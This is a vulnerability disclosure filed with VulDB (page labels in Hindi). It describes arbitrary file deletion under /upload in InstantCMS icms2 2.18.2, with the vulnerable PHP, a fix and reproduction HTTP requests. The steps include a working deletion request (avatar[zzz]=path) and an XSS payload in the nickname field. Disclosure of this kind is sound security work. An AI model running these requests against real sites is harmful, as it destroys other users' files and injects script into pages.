| शीर्षक | InstantCMS InstantCMS icms2 2.18.2 Improper Access Controls |
|---|
| विवरण | # Arbitrary File Deletion inside `/upload` via a bogus image-field size key (any member)
- **Project:** instantsoft/icms2 (InstantCMS, open-source GPLv3)
- **Affected version:** 2.18.2 (`3c7dd20e`)
- **Endpoint:** any form containing an image field; default install exposes the user-profile `avatar` field → `POST /users/<id>/edit`
- **Auth required:** any logged-in member (self-registration on by default)
- **CWE-22:** Improper Limitation of a Pathname to a Restricted Directory (with a destructive result)
- **Date confirmed:** 2026-08-29 (live PoC, video + stills in this package)
## Summary
The `ft_image` field type (`system/fields/image.php`, same pattern in `images.php`) processes each submitted `size => relative_path` pair with **no ownership or reference check**. For a key that is **not** a configured size, the code resolves the path (verified only to exist and live under the upload root) and deletes the file *plus up to two empty parent directories*:
```php
if (! in_array($size, $sizes)) {
files_delete_file($image_rel_path, 2); // unlink + prune 2 parent dirs
continue;
}
```
Attackers know valid upload-root-relative paths trivially — every uploaded image's URL is public (`/upload/000/u1/c/a/photo.jpg`). An unprivileged, self-registered member can therefore delete **other users' files** (avatars, content images, attachments) and chosen directory levels under `/upload` simply by posting an image field whose key is anything other than the configured sizes (e.g., `zzz`).
## Affected code
`system/fields/image.php:192-216` (loop entry 192, delete at 210-213) and `system/fields/images.php:253-278`; `system/libs/files.helper.php:169-211` (`files_delete_file`, incl. `delete_parent_dir` pruning).
```php
foreach ($value as $size => $image_rel_path) {
...
$image_path = realpath($upload_path . $image_rel_path);
if (! $image_path || ! is_file($image_path)) { continue; }
if (strncmp($image_path, $upload_path, strlen($upload_path)) !== 0) { continue; }
if (! in_array($size, $sizes)) { // <-- any key outside the size map
files_delete_file($image_rel_path, 2); // <-- deletes the file + prunes dirs
continue;
}
}
```
Default profile `avatar` field (`install/languages/ru/sql/base.sql:850`) has sizes `normal/micro/small`; the submitted key `zzz` matches none.
## Steps To Reproduce (verified transcript)
1. Admin uploads a picture (any file) through the standard endpoint:
```
POST /images/upload/img (multipart, img=photo.png)
→ {"url":"000/u1/0/2/cloud.jpg", ...}
```
File: `/upload/000/u1/0/2/cloud.jpg` (publicly fetchable, 200).
2. Attacker saves their own profile with the avatar field carrying a bogus size key pointing at the admin's file:
```
POST /users/13/edit
csrf_token=<session token>
nickname=x" onmouseover="alert('XSS');document.body.style.border='45px solid #f00'"
city=10
avatar[zzz]=000/u1/0/2/cloud.jpg
submit=1
→ 303 (profile saved)
```
3. Result:
```
before: GET /upload/000/u1/0/2/cloud.jpg → 200 OK
after : GET /upload/000/u1/0/2/cloud.jpg → 404
ls /var/www/icms2/upload/000/u1/0/2/ → No such file or directory (dir pruned too)
```
The victim file belonged to the **admin**; the deletion was performed by the **unprivileged attacker** through the profile form (stills `10-`,`11-`,`12-`).
## Impact
- Permanent deletion of arbitrary files under the upload root (any user's avatar/photos, content images, paid/downloadable attachments) by any member.
- Directory-structure pruning (two levels of empty parents are removed) → localized DoS / data loss.
- Cannot escape the upload root (prefix + `realpath` checks limit to `/upload`), so file system compromise is bounded — still a destructive integrity/availability flaw.
## Severity assessment
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H = **6.5 (Medium)** — requires a low-privilege account; control over deletion content is broad but confined to the upload tree.
## Suggested Fix
- Only honor image-field `size` keys that are in the field's configured size map **and** that belong to the field's own current value for the editing record; never process arbitrary keys.
- Maintain a registry of `(field, record, size, realpath)` links for image fields and delete only registered entries.
- As defense in depth: bind uploads to an owning user/content and enforce ownership in `store()`/`files_delete_file`. |
|---|
| उपयोगकर्ता | EVIL0RD (UID 100889) |
|---|
| सबमिशन | 31/08/2026 06:12 PM (1 महीना पहले) |
|---|
| संयम | 10/10/2026 05:04 PM (1 month later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 416224 [InstantSoft icms2 तक 2.18.2 Image system/fields/image.php files_delete_file size निर्देशिका ट्रैवर्सल] |
|---|
| अंक | 17 |
|---|